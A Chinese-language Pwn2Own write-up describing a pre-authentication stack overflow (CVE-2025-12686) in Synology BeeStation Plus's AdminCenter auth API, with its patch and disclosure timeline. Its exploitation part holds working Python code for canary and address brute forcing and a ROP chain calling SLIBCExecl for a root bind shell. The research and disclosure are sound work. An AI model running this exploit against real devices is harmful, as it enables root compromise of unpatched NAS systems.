Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
本文记录了我们在Pwn2Own Ireland 2025比赛中针对BeeStation Plus的成功利用过程。我们将详细介绍完整的漏洞研究流程,包括攻击面枚举、代码审计、漏洞利用开发,并最终在目标设备上获取root shell。
目录
- Context
- Firmware and application extractions
- Attack surface
- Vulnerability - CVE-2025-12686
- Exploitation
- Pwn2Own experience
- The Patch
- Conclusion
- Timeline
- References
提升你的技能?来发现我们的培训课程吧!了解更多。
Context
去年在Pwn2Own Ireland 2024期间,Synacktiv成功攻击了BeeStation BST150-4T设备,详细内容可见我们之前的博客文章。BeeStation是Synology自2024年3月起商业化的一款用户友好型NAS设备。
对于Pwn2Own Ireland 2025,比赛的目标列表中出现了一款新设备型号:Synology BeeStation Plus (BST170-8T),于2025年5月底发布。自然地,我们决定对其进行深入研究。
固件与应用程序提取
BeeStation的固件可从Synology公开获取。然而,它以加密形式分发,这意味着在开始任何分析之前需要进行一些准备工作。今年早些时候,Synacktiv发布了synodecrypt,这是一个能够解密所有Synology加密归档文件(SPK、PAT等)的工具。
攻击面
在深入漏洞研究之前,我们首先根据Pwn2Own Ireland 2025规则定义的约束条件,绘制了可访问的攻击面:
此类别中的尝试必须针对目标的暴露网络服务、RF攻击面或来自参赛者比赛网络内的笔记本电脑发起。非默认应用程序/插件、netatalk和MiniDLNA中的漏洞不在范围内。
在BeeStation上,我们识别了网络上暴露并监听的一组值得注意的服务:
1
2
3
4
5
6
7
8
9
|
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6600 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6601 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7985/nginx: master
[...]
|
虽然还存在其他服务,但识别出nginx暴露了主要的Web接口已经提供了一个强大的入口点。
根据请求的路径,nginx将传入的流量转发到不同的后端服务。在我们的案例中,我们主要关注通过 /webapi/entry.cgi 端点暴露的各种API。
nginx配置分布在多个文件中,这使得分析起来有些繁琐。幸运的是,可以使用 nginx -T 来dump完整的活动配置。
检查此配置可以发现,对 /webapi/entry.cgi 的请求被转发到Unix套接字 /run/synoscgi.sock。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
http {
upstream synoscgi {
server unix:/run/synoscgi.sock;
}
# [...]
server {
listen 5000 default_server;
listen [::]:5000 default_server;
# [...]
location ~ \.cgi {
include scgi_params;
scgi_pass synoscgi;
scgi_read_timeout 3600s;
}
|
使用 netstat,我们可以枚举监听此特定套接字的进程:
1
2
|
root@BeeStation:~# netstat -pax | grep synoscgi.sock
unix 2 [ ACC ] STREAM LISTENING 283367 29751/synoscgi /run/synoscgi.sock
|
我们可以对nginx配置的各个部分应用相同的方法,以识别绑定到每个套接字的进程。下图说明了通过nginx暴露的不同服务。
大量API路由通过 entry.cgi 暴露。客户端通过指定API子系统、版本和要调用的方法与这些路由进行交互。这些参数通过HTTP POST或GET字段 api、version 和 method 传递。
所有API路由都在 .lib 文件中定义——这些JSON描述符枚举了给定端点的可用方法,并指定了负责处理它们的共享库。
例如,以下片段摘自 SYNO.API.Auth.lib,记录了部分身份验证API:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
{
// [...]
"SYNO.API.Auth.Key": { // <- api
"allowUser": [
"admin.local",
"admin.domain",
"admin.ldap",
"normal.local",
"normal.domain",
"normal.ldap"
],
"appPriv": "",
"authLevel": 1,
"disableSocket": false,
"lib": "lib/SYNO.API.Auth.so",
"maxVersion": 7,
"methods": {
"7": [ // <- version
{
"grant": { // <- method
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
},
{
"get": {
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
}
]
},
"minVersion": 7,
"priority": 0,
"priorityAdj": 0,
"socket": "",
"socketConnTimeout": 600
},
// [...]
}
|
也可以直接从底层库中提取API定义。每个库都导出 GetAPITable 符号,这是一个返回指向包含以下字段表的指针的函数:
1
2
3
4
5
6
|
struct api_table_entry_t {
char *api;
uint64_t version;
char *method;
unsigned __int64 (__fastcall *func)(__int64, __int64);
};
|
API定义暴露了超过 3,800 个不同的路由。
然而,这些路由中的大多数在预认证攻击场景中显然是不可访问的。通过根据 authLevel 字段过滤API定义,我们识别出总共 69 个无需身份验证即可访问的路由。
这显著减少了攻击面,使得迭代速度大大加快。
漏洞 - CVE-2025-12686
在无需身份验证即可访问的路由中,SYNO.BEE.AdminCenter.Auth 端点的 auth 方法存在一个基于栈的缓冲区溢出漏洞。
用于访问此端点的URL是:
1
|
http://target_ip:5000/webapi/entry.cgi?api=SYNO.BEE.AdminCenter.Auth&version=1&method=auth
|
负责处理此请求的代码位于 /var/packages/bee-AdminCenter/target/webapi/Auth/SYNO.BEE.AdminCenter.Auth.so。此共享库是 bee-AdminCenter 软件包的一部分,该软件包默认安装且特定于Beestation——在DiskStation上并不存在。
在请求处理过程中,会调用来自 SYNO.BEE.AdminCenter.Auth.so 的 SYNO::BEE::AuthHandler::Auth 函数。
此函数首先将HTTP参数 auth_info 提取到一个 std::string 中,然后调用 SYNO::BEE::Auth::AuthManagerImpl::Auth,该函数在 libsynobeeadmincenter.so 中实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// SYNO.BEE.AdminCenter.Auth.so
unsigned __int64 __fastcall SYNO::BEE::AuthHandler::Auth(SYNO::BEE::AuthHandler *this) {
// [...]
SYNO::BEE::BsmManagerBuilder::Build(&bsm_manager);
vtable = bsm_manager->vtable;
auth = vtable->_ZNK4SYNO3BEE14BsmManagerImpl4AuthERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE;
// retrieve the argument auth_info into param_auth_info
basic_string(str_auth_info, "auth_info", "");
SYNO::APIRequest::GetAndCheckString(¶m_auth_info, *this, str_auth_info, 0, 0);
// [...]
// copy param_auth_info into the new std::string auth_info
_auth_info = (cpp_string_t *)SYNO::APIParameter<std::string>::Get(¶m_auth_info);
len = _auth_info->len;
auth_info.buf = (char *)v52;
basic_string(&auth_info, _auth_info->buf, &_auth_info->buf[len]);
SYNO::APIParameter<std::string>::~APIParameter(¶m_auth_info);
// call SYNO::BEE::Auth::AuthManagerImpl::Auth
((void (__fastcall *)(size_t *, BsmManager *, cpp_string_t *))auth)(v57, bsm_manager, &auth_info);
// [...]
}
|
SYNO::BEE::Auth::AuthManagerImpl::Auth 然后调用 SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo:
1
2
3
4
5
6
7
8
9
10
|
// libsynobeeadmincenter.so
__m128i **__fastcall SYNO::BEE::Auth::AuthManagerImpl::Auth(
__m128i **a1,
SYNO::BEE::Auth::AuthManagerBuilder *auth_manager,
_QWORD *auth_info)
{
// [...]
SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(v44, auth_manager, auth_info);
// [...]
}
|
首先,SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo 使用 SLIBCBase64Decode 将 auth_info 解码到 decoded 中,这是一个在栈上分配的4096字节缓冲区。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
_QWORD *__fastcall SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(
_QWORD *a1,
__int64 auth_manager,
cpp_string_t *auth_info)
{
char decoded[4096]; // [rsp+160h] [rbp-1048h]
// [...]
auth_info_len = auth_info->len;
decoded_len = auth_info_len; // [1]
memset(decoded, 0, 4096);
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
// [...]
}
|
SLIBCBase64Decode 接受一个base64编码的缓冲区作为输入,并将其解码到另一个作为参数传递的缓冲区中。以下是函数定义:
1
|
SLIBCBase64Decode(char *encoded, size_t encoded_len, char *decoded, size_t *decoded_len);
|
在 [1] 处,在 SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo 中,auth_info->len 被用作解码缓冲区的长度。然而,auth_info->len 是攻击者可控的,而 decoded 是一个固定大小为4096字节的缓冲区。
这里存在一个基于栈的缓冲区溢出。
栈粉碎保护(Stack-smashing protection)是启用的,因此栈上存在一个金丝雀值(canary)。但是,Web服务器为每个新连接进行fork,因此金丝雀值总是相同的,这使得攻击者可以暴力破解并获取其值。
而且最重要的是,CGI程序以root权限执行。
触发漏洞
作为一个简单的概念验证,我们可以编码超过4096字节并将其放入 auth_info 参数中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
def send_request(data, timeout=None):
b64_data = base64.b64encode(data).decode().replace("=", "")
url_template = "http://NAS-IP:5000/webapi/entry.cgi"
url = url_template.replace("NAS-IP", ip_address)
r = requests.post(url, data={
"api": "SYNO.BEE.AdminCenter.Auth",
"version": "1",
"method": "auth",
"auth_info": b64_data
}, timeout=timeout)
return r
pld = b"A"*5000
send_request(pld)
|
服务器回复一个默认页面和502 HTTP状态码:这将是我们判断进程是否崩溃的依据。也可以通过BeeStation上的 dmesg 来检查崩溃:
1
|
[11174.496182] traps: SYNO.BEE.AdminC[29340] general protection fault ip:7fcf024990fa sp:7ffc90fbc2c0 error:0 in libgcc_s.so.1[7fcf0248c000+10000]
|
崩溃发生在 libgcc_s.so.1 内部,这是一个负责多种底层运行时机制的库,包括异常处理。这表明我们的输入可能在处理过程中触发了异常。有关此库的更多详细信息可以在此处找到。
检查 SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo 显示,为了防止函数抛出异常,必须满足三个特定条件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
// [...]
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
Json::Value::Value(v19, 0);
Json::Reader::Reader(&v22);
v20[0] = v21;
v7 = strlen(decoded);
basic_string(v20, decoded, &decoded[v7]);
v8 = Json::Reader::parse(&v22, v20, v19, 1);
if ( v20[0] != v21 )
operator delete(v20[0], v21[0] + 1LL);
sub_6A0E0(&v22);
if ( !v8 )
{
exception = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to parse authInfo");
// [...]
__cxa_throw(exception, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "state")
|| (v9 = (Json::Value *)Json::Value::operator[](v19, "state"), !Json::Value::isString(v9)) )
{
v3 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v3, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "code")
|| (v10 = (Json::Value *)Json::Value::operator[](v19, "code"), !Json::Value::isString(v10)) )
{
v5 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v5, off_114D98, (void (*)(void *))sub_81700);
}
|
因此,我们需要一个包含 state 和 code 字段的有效JSON字符串。幸运的是,输入是base64编码的,这意味着它可以包含任意字节——包括空字节和换行符。这使我们可以在JSON对象后面追加一个空字节来终止字符串,同时保持整体输入为有效的JSON。
我们触发漏洞的载荷包括JSON对象 {"code":"","state":""},后跟一个空字节来终止字符串,然后是一个由大量字符"A"组成的序列。
例如,以下脚本会覆盖栈金丝雀:
1
2
3
4
|
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
pld += b"\xbe\xba\xfe\xca\xef\xbe\xad\xde"
send_request(pld)
|
为了调试崩溃,我们可以使用位于 /volume1/@SYNO.BEE.AdminC.synology_geminilakemango_bst170-8t.65646.core.gz 的生成的核心转储文件,或者直接附加到 synoscgi 进程。
使用 ps,我们可以观察到许多 synoscgi 子进程被创建:每个传入的请求都由Web服务器处理一个子进程。
1
2
3
4
5
6
7
8
9
10
11
12
|
root@BeeStation:~# ps faux | grep synoscgi
[...]
root 29751 0.0 0.6 48304 24464 ? S<s Oct27 0:09 synoscgi
system 7324 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7326 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7327 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7333 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 1545 0.0 0.1 48304 6632 ? S 02:54 0:00 \_ synoscgi
system 22967 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23001 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23627 0.0 0.1 48304 6632 ? S 09:55 0:00 \_ synoscgi
system 23839 0.0 0.2 48304 8304 ? S 09:59 0:00 \_ synoscgi
|
现在使用 gdb,我们可以附加到父进程,并依赖命令 set follow-fork-mode child 和 set detach-on-fork off 来在子进程创建时调试它们。
至此,我们终于可以进入利用阶段了。
利用
前提条件
对于Pwn2Own,我们需要尽可能少地依赖环境约束。我们选择从同一局域网内利用该漏洞。然而,如前所述,该服务也可能通过QuickConnect在外部暴露,并且利用过程在那种场景下可能非常相似。
鉴于该漏洞的严重性和CGI-fork机制的行为,我们需要:
- 获取BeeStation的IP地址(或其quickconnect等效地址)
- 泄露栈金丝雀
- 泄露栈地址
- 泄露
libsynobeeadmincenter 的基地址(用于构建ROP链)
由此,我们可以转向执行一系列ROP gadgets,以运行任意命令。
泄露关键组件
由于fork-server机制的存在,我们可以通过检查每次尝试后进程是否崩溃,逐字节暴力破解金丝雀和栈指针。在我们的利用中,我们使用以下函数来恢复栈上的下一个指针:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
def bf_next_byte(pld, timeout=None):
l = list(range(0x100))
for b in tqdm(l):
try:
r = send_request(pld + bytes([b]), timeout=timeout)
except requests.exceptions.ReadTimeout:
continue
if r.status_code == 200:
return bytes([b])
return None
def bf_next_ptr(pld, timeout=None):
ptr = b""
while len(ptr) != 8:
b = bf_next_byte(pld + ptr, timeout)
if b is None:
print("fail")
return None
ptr += b
print(ptr)
return ptr
|
这种方法也允许我们泄露栈金丝雀:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
start_time = time.time()
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
if canary is None:
canary = bf_next_ptr(pld)
if canary is None:
exit()
stage1_time = int(time.time() - start_time)
print("[+] Canary leaked")
print("[+] Stage 1 execution time : %d seconds" % stage1_time)
|
我们还需要泄露一个栈上的指针,以防止程序崩溃。
1
2
3
4
5
6
7
8
9
10
11
|
# [...]
pld += canary
pld += b"\x00"*8*2
if stack_addr is None:
stack_addr_bytes = bf_next_ptr(pld, timeout=1)
stack_addr = int.from_bytes(stack_addr_bytes, "little")
stage2_time = int(time.time() - stage1_time - start_time)
print("[+] Stack address leaked")
print("[+] Stage 2 execution time : %d seconds" % stage2_time)
|
我们可以应用相同的技术来泄露返回地址,这反过来又给了我们 libsynobeeadmincenter.so 的基地址。此泄露将用于构建我们的ROP链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# [...]
pld += p64(stack_addr)
pld += b"\x00"*8*4
if lib_addr is None:
lib_leak_bytes = bf_next_ptr(pld, timeout=1)
lib_leak = int.from_bytes(lib_leak_bytes, "little")
lib_addr = lib_leak - 0x0A11CA
if lib_addr & 0xfff:
if debug:
print(f"warning: lib_addr not 100% valid: {hex(lib_addr)}")
lib_addr = (lib_addr >> 12) << 12
stage3_time = int(time.time() - stage2_time - stage1_time - start_time)
print("[+] libsynobeeadmincenter base address leaked")
print("[+] Stage 3 execution time : %d seconds" % stage3_time)
|
覆盖和ROP链攻击
剩下的就是链接合适的gadgets以实现代码执行。
我们选择使用一个"写什么-写哪里"(write-what-where)的gadget,将所需的字符串放入一个受控的缓冲区中(例如 /bin/bash 和用于绑定shell的载荷),然后调用 SLIBCExecl。此函数由 libsynobeeadmincenter.so 导入,其行为本质上类似于标准的 execl 调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
def arb_write_ptr(addr, value):
if debug:
print(f"write @ {hex(addr)} <- {value}")
assert len(value) == 8
ret = b""
ret += pop_rdi + p64(addr)
ret += pop_rsi + value
ret += p64(lib_addr + 0x0000000000080c6d) # mov qword ptr [rdi], rsi ; xor eax, eax ; ret
return ret
def arb_write(addr, data):
ret = b""
for i in range(0, len(data), 8):
if debug:
print(hex(addr + i), data[i:i+8])
ret += arb_write_ptr(addr + i, data[i:i+8].ljust(8, b"\x00"))
if debug:
print(ret)
return ret
# [...]
# setup strings
pld += arb_write_ptr(addr_buf, b"/bin/bas")
pld += arb_write_ptr(addr_buf+8, b"h\x00-c\x00".ljust(8, b"\x00"))
# some stack values are overwritten, so just skip them
pld += pop6 + p64(0)*6
pld += pop6 + p64(0)*6
pld += pop5 + p64(0)*5
pld += pop3 + p64(0)*3
pld += pop3 + p64(0)*3
pld += arb_write(addr_buf+0x10, cmd)
# setup args and call SLIBCExecl
pld += pop_rdi + p64(addr_buf)
pld += pop_rsi + p64(249)
pld += pop_rdx + p64(addr_buf+0xa)
pld += pop_rcx + p64(addr_buf+0x10)
pld += pop_r8 + p64(0)
pld += slibc_execl
r = send_request(pld)
|
在Pwn2Own上,每次尝试的最长持续时间限制为十分钟。暴力破解三个指针相对较慢,因此我们利用多线程来加速这一阶段。使用十六个线程,获取shell所需的时间不到三分钟。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
➜ bee_admin_center git:(master) ✗ python3 exploit.py
[+] Start pwning Synology BeeStation Plus @ localhost
[...]
[+] Canary leaked
[+] Stage 1 execution time : 50 seconds
[...]
[+] Stack address leaked
[+] Stage 2 execution time : 59 seconds
[...]
[+] libsynobeeadmincenter base address leaked
[+] Stage 3 execution time : 44 seconds
[+] Total execution time : 154 seconds
[+] Opening connection to localhost on port 9001: Done
__________ .___ ___. _________ __ __ .__
\______ \__ _ ______ ____ __| _/ \_ |__ ___.__. / _____/__.__. ____ _____ ____ | | ___/ |_|__|__ __
| ___/\ \/ \/ / \_/ __ \ / __ | | __ < | | \_____ < | |/ \\__ \ _/ ___\| |/ /\ __\ \ \/ /
| | \ / | \ ___// /_/ | | \_\ \___ | / \___ | | \/ __ \\ \___| < | | | |\ /
|____| \/\_/|___| /\___ >____ | |___ / ____| /_______ / ____|___| (____ /\___ >__|_ \ |__| |__| \_/
\/ \/ \/ \/\/ \/\/ \/ \/ \/ \/
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),999(synopkgs),170597(bee-AdminCenter)
|
Pwn2Own经历
Pwn2Own Ireland 2025于10月20日至23日在科克举行。抽签在第一天进行,我们今年相当幸运:我们获得了第一个比赛时段,而且只有另一支队伍注册了对该设备的攻击目标。相比之下,2024年有五支队伍竞争攻击该设备。
考虑到比赛期间可能出现设置问题,我们事先对利用进行了彻底的压力测试,尽管利用过程本身相当直接。尽管做了这些准备,我们最终还是尝试了三次才成功攻破设备,并且在第二次和第三次尝试之间请求了重启。
我们未能完全确定前两次失败运行中出现了什么问题,但我们知道第三次泄露——目标库的基地址——没有按预期工作,尽管前两次泄露是可靠的。
幸运的是,在第三次尝试中一切顺利,利用完美执行。
令人惊讶的是,Synology没有为BeeStation发布任何最后一分钟的更新,因此我们无需更新利用程序或寻找替代漏洞。
补丁
10月30日,Synology发布了BSM更新(即操作系统更新),版本1.3.2-65648。我们可以提取新版本并使用Meld来高亮显示修改的内容。在此更新中,创建了一些AppArmor配置文件,其他配置文件已升级。内核模块 flashcache_syno.ko 已被修改,并且包含了新版本的 bee-AdminCenter:1.3-0531,而之前的版本是1.3-0528。在新版本的 bee-AdminCenter 中,一些库已更新:libsynobeeadmincenter.so、libsynobeerpcdaemon.so 和 libsynodbus.so。
查看我们的漏洞所在的 libsynobeeadmincenter.so,我们发现在 SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo 中,在base64解码之前添加了一个检查,以防止缓冲区溢出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
auth_info_len = auth_info->len;
- decoded_len = auth_info_len;
+ decoded_len = 4096;
memset(decoded, 0, 4096);
+ if ( auth_info_len > 0x1000 )
+ {
+ exception = (char *)__cxa_allocate_exception(0x30u);
+ len = auth_info->len;
+ basic_string_cstr(v29, "Failed to parse authInfo: size too large: %zu");
+ basic_string_cstr(v30, "auth/auth_manager.cpp");
+ // [...]
+ __cxa_throw(exception, off_115D98, sub_81930);
+ }
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
|
该漏洞被标识为 CVE-2025-12686。
结论
此次针对BeeStation的Pwn2Own参赛投入了大约一个月的工作时间。大部分时间用于分析攻击面和理解Web服务器的行为。一旦可访问的攻击面明确定义,识别漏洞和开发利用所花费的时间不到一周。
时间线
- 2025年8月11日: 研究开始
- 2025年8月26日: 收到BeeStation Plus设备
- 2025年9月5日: 攻击面明确建立
- 2025年9月12日: 漏洞被识别
- 2025年9月13日: 获取root shell
- 2025年10月21日: Pwn2Own 2025 @ 爱尔兰科克
- 2025年10月30日: 通过BSM更新发布修复补丁
参考文献
- Synology - BeeStation Plus 8TB Product Page
- ZDI - Pwn2Own Ireland 2024: Full Schedule
- ZDI - Pwn2Own Ireland 2024 Winning Entry Announcement
- ZDI - Pwn2Own Ireland 2024 Collision Announcement
- Synology - Launch of the BeeStation Plus
- ZDI - Pwn2Own Ireland 2025: Full Schedule
- ZDI - Pwn2Own Ireland 2025: Day One Results
- Midnight Blue - Pwn2Own Ireland 2024 Entries (Slides)
- Synology security advisory - CVE-2025-12686